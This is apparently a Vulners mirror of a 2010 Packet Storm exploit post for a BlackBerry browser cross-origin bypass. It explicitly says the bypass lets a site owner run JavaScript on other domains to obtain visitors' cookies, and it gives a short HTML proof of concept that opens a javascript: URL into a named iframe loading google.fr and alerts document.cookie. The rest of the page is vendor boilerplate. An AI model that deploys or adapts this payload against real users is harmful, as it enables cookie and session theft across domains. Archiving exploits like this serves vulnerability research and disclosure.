Lucene search
K

BlackBerry Cross Origin Bypass

🗓️ 25 Sep 2010 00:00:00Reported by 599eme ManType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

BlackBerry browser cross origin bypass, execute javascript across domains to obtain visitor's cookie

Code
`_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_  
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_  
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_  
_____0______0______0__0______0___0__0________0___0__00000__0___0_  
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_  
_________________________________________________________________  
  
  
# [+] BlackBerry Browser Cross Origin Bypass  
#  
# [+] Author : 599eme Man  
# [+] Contact : [email protected]  
#  
#[------------------------------------------------------------------------------------]  
#  
# [+] How use ?  
#  
# The Cross Origin Bypass is a way to bypass the domain's restrictions, you can execute javascript throught your domain on other domain, so you can get visitor's cookie throught your website.  
#  
# [+] PoC :  
#  
# Create a file.htm, save it with this code below and upload it on your server.  
#  
# <!--  
# BlackBerry Cross Origin Bypass<br>  
# Found by 599eme Man<br>  
# [email protected]<br>  
# Test On google<br>  
# -->  
# <a href="javascript:window.open('javascript:alert(document.cookie)','blackb');">Test me</a><br>  
# <iframe name="blackb" src="http://www.google.fr"> </iframe>  
#  
#[------------------------------------------------------------------------------------]  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation